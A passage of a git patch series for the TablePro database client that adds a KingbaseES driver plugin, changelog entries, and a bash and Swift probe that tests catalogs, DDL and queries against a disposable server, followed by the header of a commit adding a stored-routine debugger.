+        try await waitUntil { editor.coordinator.lexicalGrammar == TestGrammar.kingbaseESOracle }
+
+        let block = try #require(runStatementAtCaret(in: editor, model: model))
+        #expect(block.hasPrefix("BEGIN\n  x := 1;\n  y := 2;\nEND"))
+        #expect(!block.contains("/"))
+    }
+}
diff --git a/apple/changelog.d/3855.added.md b/apple/changelog.d/3855.added.md
new file mode 100644
index 0000000000..90382f2fdf
--- /dev/null
+++ b/apple/changelog.d/3855.added.md
@@ -0,0 +1 @@
+Connect to KingbaseES in PostgreSQL and Oracle compatibility modes with a downloadable driver.
diff --git a/apple/changelog.d/3855.fixed.md b/apple/changelog.d/3855.fixed.md
new file mode 100644
index 0000000000..ca1fee03d9
--- /dev/null
+++ b/apple/changelog.d/3855.fixed.md
@@ -0,0 +1 @@
+The "is not empty" filter found no rows on Oracle, and both empty filters failed on a CLOB column.
diff --git a/apple/project.yml b/apple/project.yml
index 3e4a737bbe..df769c7e51 100644
--- a/apple/project.yml
+++ b/apple/project.yml
@@ -1065,6 +1065,17 @@ targets:
       - package: swift-nio-ssl
         product: NIOSSL
 
+  KingbaseESDriverPlugin:
+    templates: [DriverPlugin, PostgreSQLLinkage]
+    templateAttributes:
+      folder: KingbaseESDriverPlugin
+      principalClass: KingbaseESPlugin
+    sources:
+      - path: Plugins/PostgreSQLDriverPlugin
+        excludes:
+          - Info.plist
+          - README.md
+
   LibSQLDriverPlugin:
     templates: [DriverPlugin]
     templateAttributes:
@@ -1285,6 +1296,7 @@ aggregateTargets:
       - FirebaseDriverPlugin
       - HanaDriver
       - KafkaDriverPlugin
+      - KingbaseESDriverPlugin
       - LibSQLDriverPlugin
       - MSSQLDriver
       - MongoDBDriver
diff --git a/apple/scripts/probes/check-column-type-corpus.sh b/apple/scripts/probes/check-column-type-corpus.sh
index 7f7eff47b7..52c5d4f82e 100755
--- a/apple/scripts/probes/check-column-type-corpus.sh
+++ b/apple/scripts/probes/check-column-type-corpus.sh
@@ -64,8 +64,8 @@ READY=()
 case "$ENGINE" in
     postgresql)
         FOLDER=PostgreSQLDriverPlugin CLASS=PostgreSQLPlugin C_MODULE=CLibPQ
-        PRODUCTS="TableProLogRedaction TableProPostgreSQLCore"
-        LINK="$ROOT/Libs/libpq.a $ROOT/Libs/libpgcommon.a $ROOT/Libs/libpgport.a -lssl.3 -lcrypto.3 -lz"
+        PRODUCTS="TableProCoreTypes TableProKerberos TableProLogRedaction TableProPostgreSQLCore TableProSQLVocabulary"
+        LINK="$ROOT/Libs/libpq.a $ROOT/Libs/libpgcommon.a $ROOT/Libs/libpgport.a -lssl.3 -lcrypto.3 -lz -framework GSS -lcom_err"
         IMAGE=postgres:17-alpine PORT_IN=5432 PORT=15467 USER_DEFAULT=postgres DATABASE_DEFAULT=postgres
         DOCKER_ENV=(-e "POSTGRES_PASSWORD=$PASSWORD_DEFAULT")
         READY=(pg_isready -h 127.0.0.1 -U postgres)
diff --git a/apple/scripts/probes/check-kingbasees.sh b/apple/scripts/probes/check-kingbasees.sh
new file mode 100755
index 0000000000..8594adadf8
--- /dev/null
+++ b/apple/scripts/probes/check-kingbasees.sh
@@ -0,0 +1,55 @@
+#!/usr/bin/env bash
+# Build the actual registry driver and probe an existing, disposable KingbaseES server.
+# TP_KINGBASE_{HOST,PORT,USER,PASSWORD,DATABASE} select the server. No server is started.
+# TP_KINGBASE_BUILD_DIR preserves build artifacts; otherwise they are removed on exit.
+set -euo pipefail
+ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
+WORK="${TP_KINGBASE_BUILD_DIR:-}"
+if [ -z "$WORK" ]; then
+    WORK="$(mktemp -d)"
+    trap 'rm -rf "$WORK"' EXIT
+fi
+mkdir -p "$WORK/Sources/Probe"
+SOURCES="$WORK/Sources/Probe"
+rm -f "$SOURCES"/*.swift "$WORK/CModule"
+for folder in PostgreSQLDriverPlugin KingbaseESDriverPlugin; do
+    for source in "$ROOT/Plugins/$folder"/*.swift; do
+        ln -s "$source" "$SOURCES/${folder}_$(basename "$source")"
+    done
+done
+for shared in PluginConnectTimeout PluginQueryTimeout; do
+    ln -s "$ROOT/Plugins/Shared/$shared.swift" "$SOURCES/$shared.swift"
+done
+ln -s "$ROOT/scripts/probes/kingbasees-probe.swift" "$SOURCES/Probe.swift"
+ln -s "$ROOT/Plugins/PostgreSQLDriverPlugin/CLibPQ" "$WORK/CModule"
+cat > "$WORK/Package.swift" <<MANIFEST
+// swift-tools-version: 6.0
+import PackageDescription
+let package = Package(
+    name: "KingbaseESProbe", platforms: [.macOS(.v14)],
+    dependencies: [.package(path: "$ROOT/Packages/TableProCore")],
+    targets: [
+        .systemLibrary(name: "CLibPQ", path: "CModule"),
+        .executableTarget(name: "Probe", dependencies: [
+            "CLibPQ",
+            .product(name: "TableProPluginKit", package: "TableProCore"),
+            .product(name: "TableProCoreTypes", package: "TableProCore"),
+            .product(name: "TableProKerberos", package: "TableProCore"),
+            .product(name: "TableProPostgreSQLCore", package: "TableProCore"),
+            .product(name: "TableProSQLVocabulary", package: "TableProCore"),
+            .product(name: "TableProSQLGrammar", package: "TableProCore"),
+            .product(name: "TableProLogRedaction", package: "TableProCore")
+        ], swiftSettings: [.swiftLanguageMode(.v6), .enableUpcomingFeature("MemberImportVisibility"),
+            .unsafeFlags(["-Xcc", "-I$ROOT/Plugins/PostgreSQLDriverPlugin/CLibPQ/include"])],
+        linkerSettings: [.unsafeFlags([
+            "-L$ROOT/Libs", "-L$ROOT/Libs/dylibs", "-Xlinker", "-rpath", "-Xlinker", "$ROOT/Libs/dylibs",
+            "$ROOT/Libs/libpq.a", "$ROOT/Libs/libpgcommon.a", "$ROOT/Libs/libpgport.a",
+            "-lssl.3", "-lcrypto.3", "-lz", "-framework", "GSS", "-lcom_err"
+        ])])
+    ])
+MANIFEST
+if ! (cd "$WORK" && swift build --jobs 2 > "$WORK/build.log" 2>&1); then
+    tail -60 "$WORK/build.log" >&2
+    exit 3
+fi
+TZ=UTC "$WORK/.build/debug/Probe"
diff --git a/apple/scripts/probes/kingbasees-probe.swift b/apple/scripts/probes/kingbasees-probe.swift
new file mode 100644
index 0000000000..1e680a45e8
--- /dev/null
+++ b/apple/scripts/probes/kingbasees-probe.swift
@@ -0,0 +1,256 @@
+import Foundation
+import TableProPluginKit
+import TableProSQLGrammar
+
+@main
+struct KingbaseESProbe {
+    var passed = 0
+    var failed = 0
+
+    mutating func check(_ name: String, _ body: () async throws -> Bool) async {
+        do {
+            guard try await body() else {
+                failed += 1
+                print("FAIL \(name): unexpected result")
+                return
+            }
+            passed += 1
+            print("PASS \(name)")
+        } catch {
+            failed += 1
+            print("FAIL \(name): \(error)")
+        }
+    }
+
+    static func main() async {
+        var probe = Self()
+        await probe.run()
+        print("\(probe.passed) passed, \(probe.failed) failed")
+        exit(probe.failed == 0 ? 0 : 1)
+    }
+
+    static func bigintMatches(driver: any PluginDatabaseDriver) async throws -> Bool {
+        let result = try await driver.executeUserQuery(
+            query: "SELECT $1::bigint AS imported_integer", rowCap: nil,
+            parameters: [.text("2147483648")]
+        )
+        return result.rows == [[.text("2147483648")]]
+    }
+
+    mutating func checkSession(driver: any PluginDatabaseDriver, mode: String?) async {
+        await check("session facts through protocol witness") {
+            let result = try await driver.execute(query: "SELECT current_setting('database_mode')")
+            let mode = result.rows.first?.first?.asText
+            print("KingbaseES mode=\(mode ?? "unknown"), version=\(driver.serverVersion ?? "unknown")")
+            guard let facts = driver.sessionLexicalState else { return false }
+            let oracleFeatures = KingbaseESCompatibilityMode.lexicalFeaturesItDecides
+            return facts.determined.isSuperset(of: oracleFeatures)
+                && facts.enabled.intersection(oracleFeatures) == (mode == "oracle" ? oracleFeatures : [])
+        }
+        await check("mode probe reads pg or oracle") {
+            let setting = try await driver.execute(query: KingbaseESCompatibilityMode.probeQuery).rows.first?.first?.asText
+            let expected: KingbaseESCompatibilityMode? = switch mode {
+            case "pg": .postgreSQL
+            case "oracle": .oracle
+            default: nil
+            }
+            return try KingbaseESCompatibilityMode(setting: setting) == expected
+        }
+        await check("mode-aware grammar splits and executes quoted semicolons") {
+            guard let facts = driver.sessionLexicalState else { return false }
+            let readings = SQLLexicalReadings.resolve(
+                databaseTypeId: "KingbaseES", declared: nil,
+                session: SQLSessionLexicalFacts(
+                    determined: SQLLexicalGrammar(rawValue: facts.determined.rawValue),
+                    enabled: SQLLexicalGrammar(rawValue: facts.enabled.rawValue)
+                )
+            )
+            let sql = mode == "oracle"
+                ? "SELECT q'[a;b]' AS value; SELECT $tag$c;d$tag$ AS value;"
+                : "SELECT $tag$a;b$tag$ AS value; SELECT $tag$c;d$tag$ AS value;"
+            let statements = SQLStatementScanner.executableStatements(in: sql, grammar: readings.execution)
+            guard statements.count == 2 else { return false }
+            for (index, statement) in statements.enumerated() {
+                let result = try await driver.execute(query: statement.sql)
+                guard result.rows.first?.first == .text(index == 0 ? "a;b" : "c;d") else { return false }
+            }
+            return true
+        }
+    }
+
+    // Each column kind and the DESC index here lost its catalog spelling once Oracle mode read `''` as NULL.
+    mutating func checkKeyedTable(driver: any PluginDatabaseDriver, schema: String) async throws {
+        _ = try await driver.execute(query: "CREATE TABLE \(schema).keyed (id integer GENERATED ALWAYS AS IDENTITY PRIMARY KEY, s serial, n integer NOT NULL DEFAULT 7, title text, g integer GENERATED ALWAYS AS (n * 2) STORED)")
+        _ = try await driver.execute(query: "CREATE INDEX keyed_title_desc ON \(schema).keyed (title DESC NULLS LAST)")
+        _ = try await driver.execute(query: "INSERT INTO \(schema).keyed (title) VALUES ('a')")
+        await check("index keeps its DESC spelling") {
+            let indexes = try await driver.fetchIndexes(table: "keyed", schema: schema)
+            let spelling = indexes.first { $0.name == "keyed_title_desc" }?.ddlMethodAndKeys
+            print("Index spelling: \(spelling ?? "nil")")
+            return spelling?.contains("(title DESC NULLS LAST)") == true
+        }
+        await check("identity, default and generation expression") {
+            let columns = try await driver.fetchColumns(table: "keyed", schema: schema)
+            let byName = Dictionary(uniqueKeysWithValues: columns.map { ($0.name, $0) })
+            return byName["id"]?.isIdentity == true && byName["n"]?.defaultValue == "7"
+                && byName["g"]?.isGenerated == true && byName["g"]?.generationExpression == "(n * 2)"
+        }
+        await check("table DDL keeps column defaults") {
+            let ddl = try await driver.fetchTableDDL(table: "keyed", schema: schema)
+            return ddl.contains("DEFAULT 7") && ddl.contains("DEFAULT nextval(")
+                && ddl.contains("GENERATED ALWAYS AS IDENTITY")
+        }
+        await check("column reorder rebuild runs and keeps keys and defaults") {
+            guard let plan = try await driver.generateColumnReorderPlan(
+                table: "keyed", schema: schema, columns: [], desiredOrder: ["title", "id", "s", "n", "g"]
+            ) else { return false }
+            _ = try await driver.execute(query: "SAVEPOINT reorder")
+            do {
+                for statement in plan.statements { _ = try await driver.execute(query: statement) }
+                _ = try await driver.execute(query: "INSERT INTO \(schema).keyed (title) VALUES ('b')")
+                let row = try await driver.execute(query: "SELECT id, s, n, g FROM \(schema).keyed WHERE title = 'b'")
+                _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT reorder")
+                return row.rows == [[.text("2"), .text("2"), .text("7"), .text("14")]]
+            } catch {
+                _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT reorder")
+                throw error
+            }
+        }
+    }
+
+    mutating func run() async {
+        let env = ProcessInfo.processInfo.environment
+        let database = env["TP_KINGBASE_DATABASE"] ?? "test"
+        let config = DriverConnectionConfig(
+            host: env["TP_KINGBASE_HOST"] ?? "127.0.0.1",
+            port: Int(env["TP_KINGBASE_PORT"] ?? "55432") ?? 55_432,
+            username: env["TP_KINGBASE_USER"] ?? "system",
+            password: env["TP_KINGBASE_PASSWORD"] ?? "", database: database
+        )
+        let driver: any PluginDatabaseDriver = KingbaseESPlugin().createDriver(config: config)
+        defer { driver.disconnect() }
+        await check("no session lexical state before connect") { driver.sessionLexicalState == nil }
+        do { try await driver.connect() } catch {
+            failed += 1
+            print("FAIL connect: \(error)")
+            return
+        }
+        let mode = try? await driver.execute(query: "SELECT current_setting('database_mode')").rows.first?.first?.asText
+        await checkSession(driver: driver, mode: mode)
+        await check("database catalog") { try await driver.fetchDatabases().contains(database) }
+        let schema = "tp_probe_" + UUID().uuidString.replacingOccurrences(of: "-", with: "").lowercased()
+        let table = "\(schema).sample"
+        do {
+            try await driver.beginTransaction()
+            _ = try await driver.execute(query: "CREATE SCHEMA \(schema)")
+            _ = try await driver.execute(query: "CREATE TYPE \(schema).mood AS ENUM ('ok', 'bad')")
+            _ = try await driver.execute(query: "CREATE TABLE \(schema).parent (id integer PRIMARY KEY)")
+            _ = try await driver.execute(query: "CREATE TABLE \(table) (id integer PRIMARY KEY, parent_id integer REFERENCES \(schema).parent(id), flag boolean, payload bytea, title text COLLATE \"C\", amount numeric(12,2), missing text, doubled integer GENERATED ALWAYS AS (id * 2) STORED)")
+            _ = try await driver.execute(query: "CREATE INDEX sample_title_idx ON \(table)(title)")
+            _ = try await driver.execute(query: "CREATE FUNCTION \(schema).answer() RETURNS integer LANGUAGE SQL AS 'SELECT 42'")
+            await check("schema catalog") { try await driver.fetchSchemas().contains(schema) }
+            await check("table catalog") { try await driver.fetchTables(schema: schema).contains { $0.name == "sample" } }
+            await check("column catalog and generated column") {
+                let columns = try await driver.fetchColumns(table: "sample", schema: schema)
+                return columns.count == 8 && columns.contains { $0.name == "doubled" && $0.isGenerated }
+            }
+            await check("index catalog") { try await driver.fetchIndexes(table: "sample", schema: schema).count >= 2 }
+            try await checkKeyedTable(driver: driver, schema: schema)
+            await check("foreign key catalog") { try await driver.fetchForeignKeys(table: "sample", schema: schema).count == 1 }
+            await check("routine catalog and DDL") {
+                let routines = try await driver.fetchRoutines(schema: schema)
+                guard let routine = routines.first(where: { $0.name == "answer" }) else { return false }
+                return try await driver.fetchRoutineDDL(routine).contains("42")
+            }
+            await check("type catalog and definition") {
+                let types = try await driver.fetchUserDefinedTypes(schema: schema)
+                guard let mood = types.first(where: { $0.name == "mood" }) else { return false }
+                return try await driver.fetchUserDefinedType(mood).name == "mood"
+            }
+            await check("table DDL") {
+                let ddl = try await driver.fetchTableDDL(table: "sample", schema: schema)
+                print("Table DDL: \(ddl)")
+                guard ddl.contains("CREATE TABLE"), ddl.contains("GENERATED ALWAYS"),
+                      ddl.contains("COLLATE ") else { return false }
+                let replay = ddl.replacingOccurrences(of: "\"sample\"", with: "\"replay\"")
+                _ = try await driver.execute(query: "SAVEPOINT ddl_replay")
+                do {
+                    _ = try await driver.execute(query: replay)
+                    let columns = try await driver.fetchColumns(table: "replay", schema: schema)
+                    _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT ddl_replay")
+                    return columns.count == 8 && columns.contains { $0.name == "doubled" && $0.isGenerated }
+                } catch {
+                    _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT ddl_replay")
+                    throw error
+                }
+            }
+            await check("parameterized insert and values") {
+                _ = try await driver.executeUserQuery(
+                    query: "INSERT INTO \(table)(id,flag,payload,title,amount,missing) VALUES (1,$1::boolean,$2::bytea,$3,$4::numeric,$5)",
+                    rowCap: nil, parameters: [.text("true"), .bytes(Data([0, 1, 255])), .text("Việt Nam 日本"), .text("1234.50"), .null]
+                )
+                let result = try await driver.execute(query: "SELECT flag,payload,title,amount,missing,doubled FROM \(table)")
+                return result.rows.first == [.text("true"), .bytes(Data([0, 1, 255])), .text("Việt Nam 日本"), .text("1234.50"), .null, .text("2")]
+            }
+            await check("parameterized bigint beyond Int32 range") {
+                try await Self.bigintMatches(driver: driver)
+            }
+            await check("parameterized update and empty bytea") {
+                _ = try await driver.executeUserQuery(query: "UPDATE \(table) SET payload=$1::bytea WHERE id=1", rowCap: nil, parameters: [.bytes(Data())])
+                let result = try await driver.execute(query: "SELECT payload, octet_length(payload) FROM \(table)")
+                return mode == "oracle" ? result.rows.first == [.null, .null]
+                    : result.rows.first == [.bytes(Data()), .text("0")]
+            }
+            await check("savepoint rollback") {
+                _ = try await driver.execute(query: "SAVEPOINT probe_save")
+                _ = try await driver.execute(query: "DELETE FROM \(table)")
+                _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT probe_save")
+                return try await driver.execute(query: "SELECT count(*) FROM \(table)").rows.first?.first == .text("1")
+            }
+            await check("delete") {
+                _ = try await driver.execute(query: "DELETE FROM \(table)")
+                return try await driver.execute(query: "SELECT count(*) FROM \(table)").rows.first?.first == .text("0")
+            }
+        } catch {
+            failed += 1
+            print("FAIL fixture: \(error)")
+        }
+        await check("rollback removes all test objects") {
+            try await driver.rollbackTransaction()
+            return try await !driver.fetchSchemas().contains(schema)
+        }
+        await check("reconnect") {
+            driver.disconnect()
+            guard driver.sessionLexicalState == nil else { return false }
+            try await driver.connect()
+            try await driver.ping()
+            return true
+        }
+        await check("cancellation after server reports active query") {
+            let observer = KingbaseESPlugin().createDriver(config: config)
+            try await observer.connect()
+            defer { observer.disconnect() }
+            guard let pid = try await driver.execute(query: "SELECT pg_backend_pid()").rows.first?.first?.asText
+            else { return false }
+            let query = Task { try await driver.execute(query: "SELECT pg_sleep(30)") }
+            let deadline = ContinuousClock.now.advanced(by: .seconds(10))
+            var active = false
+            while ContinuousClock.now < deadline {
+                let result = try await observer.execute(query: "SELECT state, query FROM pg_stat_activity WHERE pid=\(pid)")
+                if let row = result.rows.first, row[0].asText == "active", row[1].asText?.contains("pg_sleep") == true {
+                    active = true
+                    break
+                }
+                await Task.yield()
+            }
+            try driver.cancelQuery()
+            do { _ = try await query.value; return false } catch {
+                print("Cancellation active=\(active), error=\(error), SQLSTATE=\((error as? any PluginDriverError)?.pluginSqlState ?? "none")")
+                guard active, error is CancellationError
+                    || (error as? any PluginDriverError)?.pluginSqlState == "57014" else { return false }
+                try await driver.ping()
+                return true
+            }
+        }
+    }
+}

From a8e83a6f8ca0d61c9a81fa22541c8a5d6a0a05e5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Tue, 27 Oct 2026 23:38:41 +0700
Subject: [PATCH 10/44] feat(debugger): step through PL/pgSQL and Oracle PL/SQL
 routines with breakpoints (#3860)

---
 .claude/rules/data-sync-storage.md            |   3 +
 .../BreakpointRibbonView+Accessibility.swift  | 116 +++
 .../BreakpointRibbonView+Draw.swift           |  54 +
 .../Breakpoints/BreakpointRibbonView.swift    | 172 ++++
 .../TextViewController+Breakpoints.swift      |  38 +
 .../TextViewController+Lifecycle.swift        |   2 +
 .../Controller/TextViewController.swift       |  19 +
 .../TableProEditorKit/Gutter/GutterView.swift |  89 +-
 ...ourceEditorConfiguration+Peripherals.swift |  11 +-
 .../SourceEditorTextView.swift                |  29 +
 .../BreakpointRibbonTests.swift               | 371 +++++++
 .../OracleCoreConnection.swift                | 117 ++-
 .../OracleDBMSDebugSession.swift              | 614 +++++++++++
 .../OracleDBMSDebugStatements.swift           | 382 +++++++
 .../OracleDebugBreakpointHolds.swift          |  33 +
 .../OracleDebugChannel.swift                  |  16 +
 .../OracleDebugLauncher.swift                 | 263 +++++
 .../OracleDebugNetwork.swift                  | 134 +++
 .../OracleDebugPayload.swift                  | 108 ++
 .../OracleDebugStatements.swift               | 665 ++++++++++++
 .../OracleDebugStopBudget.swift               |  37 +
 .../OracleDebugSupport.swift                  | 177 ++++
 .../TableProOracleCore/OracleDebugTypes.swift | 181 ++++
 .../TableProOracleCore/OracleDebugUnit.swift  | 187 ++++
 .../OracleJDWPConnection.swift                | 197 ++++
 .../OracleJDWPDebugInfo.swift                 | 227 +++++
 .../OracleJDWPDebugSession.swift              | 894 ++++++++++++++++
 .../OracleJDWPListener.swift                  | 275 +++++
 .../TableProOracleCore/OracleJDWPPacket.swift | 444 ++++++++
 .../OraclePLSQLDeclarationScan.swift          | 582 +++++++++++
 .../OracleDBMSDebugSessionTests.swift         | 212 ++++
 .../OracleDBMSDebugStatementsTests.swift      | 134 +++
 .../OracleDebugLauncherTests.swift            |  74 ++
 .../OracleDebugOverloadAmbiguityTests.swift   |  91 ++
 .../OracleDebugScriptedChannel.swift          |  70 ++
 .../OracleDebugSessionReservationTests.swift  |  43 +
 .../OracleDebugStatementsTests.swift          | 297 ++++++
 .../OracleDebugStopBudgetTests.swift          | 105 ++
 .../OracleDebugUnitTests.swift                |  73 ++
 .../OracleJDWPBreakpointTests.swift           | 194 ++++
 .../OracleJDWPConcludeTests.swift             | 134 +++
 .../OracleJDWPConnectionTests.swift           | 133 +++
 .../OracleJDWPDebugInfoTests.swift            |  89 ++
 .../OracleJDWPHostileInputTests.swift         | 146 +++
 .../OracleJDWPListenerTests.swift             |  85 ++
 .../OracleJDWPPacketTests.swift               | 122 +++
 .../OracleJDWPRecording.swift                 |  63 ++
 .../OracleJDWPRespondingPeer.swift            |  79 ++
 .../OracleJDWPSessionStartTests.swift         |  99 ++
 .../OracleJDWPSilentPeerTests.swift           | 178 ++++
 .../OracleJDWPStopOverlapTests.swift          |  56 +
 .../OraclePLSQLDeclarationScanTests.swift     | 220 ++++
 .../OracleDriverPlugin/OracleDebugText.swift  | 258 +++++
 .../OracleDriverPlugin/OraclePlugin.swift     |   5 +-
 .../OraclePluginDriver+Debugging.swift        | 279 +++++
 .../OracleRoutineDebugSession.swift           | 157 +++
 .../LibPQDriverCore.swift                     |  12 +
 .../LibPQPluginConnection.swift               |  54 +-
 .../LibPQServerMessageSink.swift              |  21 +-
 .../PGlitePluginDriver.swift                  |   3 +
 .../PostgreSQLDebugRendezvous.swift           | 134 +++
 ...tgreSQLPluginDriver+RoutineDebugging.swift | 122 +++
 .../PostgreSQLPluginDriver.swift              |   3 +
 .../PostgreSQLRoutineDebugError.swift         |  98 ++
 .../PostgreSQLRoutineDebugProtocol.swift      | 752 ++++++++++++++
 .../PostgreSQLRoutineDebugSession.swift       | 689 +++++++++++++
 .../PostgreSQLRoutineDebugProtocolTests.swift | 877 ++++++++++++++++
 .../PluginRoutineDebugging.swift              | 248 +++++
 apple/TablePro/AppDelegate.swift              |   2 +
 .../QueryExecutionCoordinator.swift           |   2 +-
 .../Access/DatabaseAccessBridge+Scripts.swift |   4 +-
 .../Database/DatabaseManager+Health.swift     |  11 +
 .../Database/DatabaseManager+Sessions.swift   |   4 +
 .../Tools/MCPTabSnapshotProvider.swift        |   7 +-
 .../TablePro/Core/Menu/DebugMenuBuilder.swift |  63 ++
 .../TablePro/Core/Menu/MainMenuBuilder.swift  |  29 +-
 apple/TablePro/Core/Modules/AppModule.swift   |  41 +
 .../Core/Modules/AppModuleActivation.swift    |  36 +
 .../Core/Modules/AppModuleSettings.swift      |  37 +
 .../Core/Modules/AppModuleTermination.swift   |  44 +
 apple/TablePro/Core/Plugins/PluginError.swift |   4 +-
 .../PluginManager+DriverAvailability.swift    |   2 +-
 ...nContentCoordinator+RoutineDebugging.swift | 214 ++++
 .../RoutineDebugController.swift              | 777 ++++++++++++++
 .../RoutineDebugOptionStore.swift             |  48 +
 .../RoutineDebugSessionSource.swift           | 146 +++
 .../RoutineDebugSessions.swift                | 247 +++++
 .../RoutineDebugStartFlow.swift               |  82 ++
 .../Core/Scripting/ScriptEnumerations.swift   |   4 +-
 apple/TablePro/Core/Scripting/ScriptTab.swift |   5 +-
 .../Core/Scripting/ScriptingSnapshot.swift    |   2 +-
 .../Providers/OperationAuthenticating.swift   |   9 +-
 .../Providers/OperationConfirming.swift       |  29 +-
 .../EditorTabDetachPolicy.swift               |  20 +-
 .../Infrastructure/EditorTabOpener.swift      |   3 +
 ...SplitViewController+DebugMenuActions.swift |  86 ++
 ...inSplitViewController+MenuValidation.swift |  28 +
 .../MainSplitViewController+RecentTabs.swift  |   2 +
 ...plitViewController+TabStripAccessory.swift |  18 +-
 .../MainSplitViewController.swift             |   3 +-
 .../MainWindowToolbar+Actions.swift           |  21 +
 .../MainWindowToolbar+Context.swift           |  10 +-
 .../MainWindowToolbar+Delegate.swift          |   4 +
 .../MainWindowToolbar+Items.swift             |  47 +
 .../Infrastructure/MainWindowToolbar.swift    |  90 +-
 .../TabPersistenceCoordinator.swift           |   1 +
 .../Toolbar/ToolbarContextResolver.swift      |  32 +-
 .../Infrastructure/WindowTitleResolver.swift  |   5 +
 .../Query/MetadataConnectionPool.swift        |  14 +-
 .../Core/Storage/AppSettingsManager.swift     |   1 +
 .../Core/Storage/AppSettingsStorage.swift     |   1 +
 .../Core/Storage/ConnectionLocalState.swift   |   1 +
 .../Core/Utilities/UI/AlertHelper.swift       |  20 +-
 ...NSLayoutConstraintPriority+SplitPane.swift |   2 +
 .../Models/Query/QueryTabManager.swift        |  25 +-
 .../TablePro/Models/Query/QueryTabState.swift |   8 +
 .../Models/UI/GridSelectionOwner.swift        |   2 +-
 .../Models/UI/KeyboardShortcutModels.swift    |  54 +-
 .../Models/UI/PendingChangeKind.swift         |   3 +-
 apple/TablePro/Models/UI/ToolbarContext.swift |  28 +-
 .../TablePro/Resources/Localizable.xcstrings  | 517 ++++++++++
 .../Main/Child/MainEditorContentView.swift    |   3 +
 .../MainContentCoordinator+TabClosing.swift   |   8 +-
 .../Views/Main/MainContentCoordinator.swift   |   9 +-
 .../RoutineDebugChooserSheet.swift            | 147 +++
 .../RoutineDebug/RoutineDebugPanes.swift      | 153 +++
 .../RoutineDebugPreparationPrompt.swift       |  38 +
 .../RoutineDebug/RoutineDebugSheet.swift      |  70 ++
 .../RoutineDebug/RoutineDebugSourceView.swift | 135 +++
 .../RoutineDebug/RoutineDebugStartSheet.swift | 266 +++++
 .../RoutineDebug/RoutineDebugTabView.swift    | 144 +++
 .../Views/Settings/KeyboardSettingsView.swift |   3 +-
 .../Plugins/InstalledPluginsView.swift        |  23 +-
 .../Settings/Plugins/ModuleToggleRow.swift    |  33 +
 .../Views/Settings/SettingsView.swift         |   3 +-
 ...abaseTreeOutlineCoordinator+Commands.swift |   8 +
 .../DatabaseTreeOutlineCoordinator+Menu.swift |   5 +-
 .../Menu/DatabaseTreeMenuContext.swift        |  14 +
 .../Sidebar/Menu/DatabaseTreeMenuSpec.swift   |  13 +-
 .../Sidebar/Menu/SidebarMenuCommand.swift     |   1 +
 .../StructureColumnReorderHandler.swift       |   2 +-
 .../StructureTableRebuildHandler.swift        |   2 +-
 .../Core/Menu/DebugMenuBuilderTests.swift     | 190 ++++
 .../Core/Menu/MainMenuBuilderTests.swift      |   7 +-
 .../Core/Modules/AppModuleResidueTests.swift  | 231 +++++
 .../Core/Modules/AppModuleSettingsTests.swift | 107 ++
 .../Modules/AppModuleTerminationTests.swift   |  48 +
 .../RoutineDebugControllerTests.swift         | 820 +++++++++++++++
 .../RoutineDebugging/RoutineDebugFakes.swift  | 452 +++++++++
 .../RoutineDebugOptionStoreTests.swift        |  64 ++
 .../RoutineDebugSessionSourceTests.swift      |  86 ++
 .../RoutineDebugSessionsTests.swift           | 304 ++++++
 .../RoutineDebugSheetTests.swift              |  58 ++
 .../RoutineDebugStartFlowTests.swift          | 132 +++
 .../RoutineDebugStartModelTests.swift         |  60 ++
 .../RoutineDebugTabTests.swift                | 292 ++++++
 .../RoutineDebugToolbarTests.swift            | 187 ++++
 .../Scripting/ScriptingDictionaryTests.swift  |   4 +-
 .../EditorTabConnectionMovePolicyTests.swift  |   2 +-
 .../Services/EditorTabDetachPolicyTests.swift |  60 +-
 .../Models/KeyboardShortcutTests.swift        |   2 +-
 .../Models/ShortcutUniquenessTests.swift      |   1 +
 .../DatabaseTreeMenuSpecTests+Debug.swift     |  84 ++
 apple/changelog.d/3860.added.md               |   1 +
 apple/changelog.d/3860.changed.md             |   1 +
 apple/scripts/probes/check-oracle-debugger.sh | 915 +++++++++++++++++
 .../probes/check-pldebugger-session.sh        | 957 ++++++++++++++++++
 167 files changed, 21706 insertions(+), 180 deletions(-)
 create mode 100644 apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Accessibility.swift
 create mode 100644 apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Draw.swift
 create mode 100644 apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView.swift
 create mode 100644 apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Breakpoints.swift
 create mode 100644 apple/Packages/TableProEditor/Tests/TableProEditorKitTests/BreakpointRibbonTests.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugSession.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugStatements.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugBreakpointHolds.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugChannel.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugLauncher.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugNetwork.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugPayload.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStatements.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStopBudget.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugSupport.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugTypes.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugUnit.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPConnection.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugInfo.swift
